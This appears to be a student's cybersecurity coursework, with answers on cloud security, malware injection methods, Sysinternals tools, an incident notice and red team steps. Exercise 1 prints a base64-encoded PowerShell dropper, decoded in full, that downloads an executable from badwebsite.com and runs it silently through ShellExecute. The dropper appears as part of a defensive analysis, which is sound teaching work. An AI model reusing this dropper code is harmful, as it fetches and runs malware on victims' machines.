Exercise 1 – security officer role-based scenario

1. How are you going to keep secure data in the cloud? In which way will you transform the data?

   To keep secure data in the cloud with
   Best encryption methods
   Use multi factor authentication
   Access Control

2. Do you prefer public cloud, private cloud, and hybrid cloud?

   Hybrid cloud where we can choice services with security and high-volume data optimization.

3. How are you going to classify data?

   Classification of data on levels of data access
   Public data
   Internal data
   Confidential data
   Restricted data

4. You have asked a forensic analyst to do an investigation. It appears that the user attempted to erase data. After that, the analyst wanted to store data on the hard drive.

a. Will you allow it? Why?

: No i will not allow due to the Ethical and Legal Guidelines

b. What analysis did the user want to do?

: The user likely wanted to:
- Overwrite or modify data to hide traces or destroy evidence.
- Possibly cover tracks of malicious activities or remove logs related to intrusion or data theft activity.

5. Understand the below-encrypted data:

1. What encoding mechanism is used here?

: The encoded mechanism used in script is Base64.

```
└─# echo "JABpAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAYwB0AGkAdg
BhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACIAUwB5
AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACIAKQA7AA0ACgAkAG
0AZQB0AGgAbwBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMA
bABpAGUAbgB0AF0ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQA7AA0ACgBmAG8Ac
gBlAGEAYwBoACgAJABtACAAaQBuACAAJABtAGUAdABoAG8AZAApAHsADQAKAA0ACgAg
ACAAaQBmACgAJABtAC4ATgBhAG0AZQAgAC0AZQBxACAAIgBEAG8AdwBuAGwAbwBhAG
QARABhAHQAYQAiACkAewANAAoAIAAgACAAIAAgAHQAcgB5AHsADQAKACAAIAAgACAAI
AAkAHUAcgBpACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAu
AFUAcgBpACgAIgBoAHQAdABwADoALwAvAGIAYQBkAHcAZQBiAHMAaQB0AGUALgBjAG8
AbQAvAHgAYQBwAF8AMQAwADIAYgAtAEEAWgAxAC8ANwAwADQAZQAuAHAAaABwAD8A
bAA9AHoAeQB0AGUAYgA0AC4AZwBhAHMAIgApAA0ACgAgACAAIAAgACAAJAByAGUAcw
BwAG8AbgBzAGUAIAA9ACAAJABtAC4ASQBuAHYAbwBrAGUAKAAkAGkAbgBzAHQAYQBu
AGMAZQAsACAAKAAkAHUAcgBpACkAKQA7AA0ACgANAAoAIAAgACAAIAAgACQAcABhAH
QAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0A
OgA6AEcAZQB0AEYAbwBsAGQAZQByAFAAYQB0AGgAKAAiAEMAbwBtAG0AbwBuAEEAcA
BwAGwAaQBjAGEAdABpAG8AbgBEAGEAdABhACIAKQAgACsAIAAiAFwAXABIAFMAVABIA
GoAbgBoAGMALgBlAHgAZQAiADsADQAKACAAIAAgACAAIABbAFMAeQBzAHQAZQBtAC
4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzAC
gAJABwAGEAdABoACwAIAAkAHIAZQBzAHAAbwBuAHMAZQApADsADQAKAA0ACgAgACA
AIAAgACAAJABjAGwAcwBpAGQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEcAdQB
pAGQAIAAnAEMAMAA4AEEARgBEADkAMAAtAEYAMgBBADEALQAxADEARAAxAC0AOAA0
ADUANQAtADAAMABBADAAQwA5ADEARgAzADgAOAAwACcADQAKACAAIAAgACAAIAAk
AHQAeQBwAGUAIAA9ACAAWwBUAHkAcABlAF0AOgA6AEcAZQB0AFQAeQBwAGUARgByA
G8AbQBDAEwAUwBJAEQAKAAkAGMAbABzAGkAZAApAA0ACgAgACAAIAAgACAAJABvAGI
AagBlAGMAdAAgAD0AIABbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdA
BlAEkAbgBzAHQAYQBuAGMAZQAoACQAdAB5AHAAZQApAA0ACgAgACAAIAAgACAAJABv
AGIAagBlAGMAdAAuAEQAbwBjAHUAbQBlAG4AdAAuAEEAcABwAGwAaQBjAGEAdABpAG8
AbgAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABwAGEAdABoACwAJABuAHUAbA
AsACAAJABuAHUAbAAsACAAJABuAHUAbAAsADAAKQANAAoADQAKACAAIAAgACAAIAB9
AGMAYQB0AGMAaAB7AH0ADQAKACAAIAAgACAAIAANAAoAIAAgAH0ADQAKAH0ADQAK
AA0ACgBFAHgAaQB0ADsA&quot;" | base64 --decode
```

```
$instance = [System.Activator]::CreateInstance("System.Net.WebClient");
$method = [System.Net.WebClient].GetMethods();
foreach($m in $method){

  if($m.Name -eq "DownloadData"){
     try{
     $uri = New-Object System.Uri("http://badwebsite.com/xap_102b-AZ1/704e.php?l=zyteb4.gas")
     $response = $m.Invoke($instance, ($uri));

     $path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\HSTHjnhc.exe";
     [System.IO.File]::WriteAllBytes($path, $response);

     $clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
     $type = [Type]::GetTypeFromCLSID($clsid)
     $object = [Activator]::CreateInstance($type)
     $object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)

     }catch{}

  }
}

Exit;base64: invalid input
```

Decoded power shell analysis

1.What is the URL this script attempts to access?

: The script attempts to access the following URL

http://badwebsite.com/xap_102b-AZ1/704e.php?l=zyteb4.gas

2. What is the name of the file it tries to save on the system?

: The name of the file saved on the system is - HSTHjnhc.exe

3. Which folder location is this script dedicated to?

: Folder Path CommonApplicationData for saving the file.

4. What is the ShellExecute method?

The ShellExecute method is a COM-based function used to execute files or programs. In this script, it is used to silently execute the downloaded malicious executable file (HSTHjnhc.exe) without alerting the user.

Summary

This PowerShell script demonstrates a classic dropper technique where it:
1. Downloads a file from a malicious URL.
2. Saves it in a shared folder location.
3. Executes it using ShellExecute, a COM method, for stealthy execution. Such behavior is typical of post-exploitation malware activities.

Exercise 2 - security analysis

1. what is process injection? what malware variants use process injection techniques?

: Process injection is an attack where the attacker copies and executes a code in the memory of a process.

: Emotet: A modular malware that often uses DLL injection to load additional payloads and evade detection.

: TrickBot: A banking trojan that employs various injection techniques, including process hollowing and DLL injection, to steal sensitive information.

: Cobalt Strike: A legitimate penetration testing tool that is often misused by attackers; it uses reflective DLL injection to deploy its payloads stealthily.

2. Please specify at least four different memory injection methods and describe each one in detail.

: DLL Injection - DLL Injection is the process of forcing a process to load a malign DLL file. It uses a set of API functions

: Code Injection - Code injection is a form of attack that injects malicious code into a process memory space, and the code executes upon it.

: Thread Execution Hijacking - Thread execution hijacking suspends a thread in the target process, changes its execution context to point to the attacker code, and continues the execution.

: APC (asynchronous procedure call) injection - APC injection queues malicious code to be executed when a thread enters an alert state. This method enqueues code onto a thread using QueueUserAPC.

: Reflective DLL Injection - The method of reflective DLL injection loads a DLL with the help of a Windows loader and does not write a file system artifact. It is a custom DLL with instructions on how to map it and address it in memory.

Exercise 3 – research sysinternal tools.

1. Please research Sysinternal tools and specify at least three tools you can use to analyze a binary file (or a malware binary file.

: A malicious binary file could be used to elevate privilege. It could exfiltrate data. A malicious binary file could create a reverse shell into attacker's machine.

Sysinternals tools that are particularly useful in cybersecurity and malware analysis

- Process Explorer: This tool provides detailed information about running processes, including their handles and DLLs. It can help identify suspicious processes and their parent-child relationships.
- Process Monitor (ProcMon): A real-time monitoring tool that logs file system, registry, and process/thread activity. It is invaluable for tracking down malware behavior and understanding how it interacts with the system.
- Strings: A command-line tool that extracts human-readable strings from binary files. Analyze the contents of a binary for

embedded strings, which can provide insights into its functionality or purpose. Identify potential hardcoded URLs, file paths, or error messages.

d. These tools are primarily used for dynamic analysis, as they observe the behavior of binaries during execution.

2.Review the figure and analysis

a. The figure shows sections and imports

b. Section refers to a distinct part of the file that contains specific data or code or resources data.

c. UPX stands for "Ultimate Packer for eXecutables." It is a free and open-source executable packer that compresses executable files to reduce their size.

d. Entropy, in a general sense, refers to a measure randomness, or uncertainty in a system. Applications use of entropy in cryptography, data compression, machine learning, malware analysis making it valuable tool for understanding and manging.

e. The import section lists the functions the binary uses from external DLLs

f. Yes recognize the Virtualfree, Exitprocess, Virtualprotect, LoadLibraryA, VirtualAlloc, GetProcAddress the import functions under the kernal32.dll

These functions are essential for low-level memory management, process control, and dynamic linking in Windows applications. They are commonly used in both legitimate applications and potentially malwares, making them important for developers and security analysts to understand.

Exercise 4

Subject: Urgent Security Incident Notification

Dear Acme Incorporated Team,

I hope this message finds you well. I am writing to inform you of a recent security incident involving malware infections on the ABC, CDE, and FGH systems at Acme Incorporated.

Our investigation has determined that the source of the infection was a phishing email containing a malicious document. Unfortunately, each affected user opened the document, which successfully downloaded a variant of malware known as Emotet, compromising the systems.

To address this situation, we have taken the following immediate actions:

> The affected systems have been isolated from the network to prevent further spread of the malware.
>
> We are collecting and analyzing relevant logs and data to understand the full scope of the incident.
>
> We are in the process of removing the malware and applying necessary patches to the systems.
>
> We will restore the affected systems from clean backups and monitor them closely for any unusual activity.

We recommend that all users remain vigilant and refrain from opening any suspicious emails or attachments. Additionally, we will be conducting training sessions to enhance awareness of phishing threats.

We will keep you updated on our progress and any further actions required. Please feel free to reach out if you have any questions or need further assistance.

Thank you for your understanding and cooperation.

Best regards,

[Your Name]
Cybersecurity Analyst

Scenario-Based Questions:

Scenario 1:

To protect the organization from a possible data breach after a critical attack-

- Incident Response Plan: Ensure you have a well-defined incident response plan in place

-Conduct a Post-Incident Analysis: After a critical attack, conduct a thorough analysis to understand how the breach occurred. Identify vulnerabilities and weaknesses in your security posture.

-Strengthen Security Measures: Update Software and Systems, Implement Multi-Factor Authentication (MFA), Enhance Network Security use firewalls, intrusion detection systems, and secure configurations to protect your network.

- Employee Training and Awareness: Conduct regular training sessions to educate employees about cybersecurity best practices, phishing attacks, and how to recognize suspicious activity.

- Access Controls: Implement strict access controls to limit who can access sensitive information.

- Prepare an incident response and business continuity plan.

Scenario 2:

To stop phishing emails from a specific domain, you can take several steps depending on the email service

- Block the Domain: Most email services allow you to block specific domains.

- Create a Filter: Set up a filter or rule in your email client to automatically delete or move emails from the specific domain to a designated folder

- Report phishing emails to your email provider.

- Educate Yourself and Others: Be aware of common phishing tactics and educate others to recognize suspicious emails.

Scenario 3:

As a Red Team member, my primary goal is to simulate real-world attacks to identify vulnerabilities

Reconnaissance: Gathering information about the new product.

Vulnerability Assessment: vulnerability scanners to identify known vulnerabilities in the product

Exploitation: If vulnerabilities are found, attempt to exploit them to understand their impact

Post-Exploitation: Understand what sensitive information could be compromised.

Reporting: Providing in-depth analysis of proof of concept, description of the vulnerability, risks, remediation steps.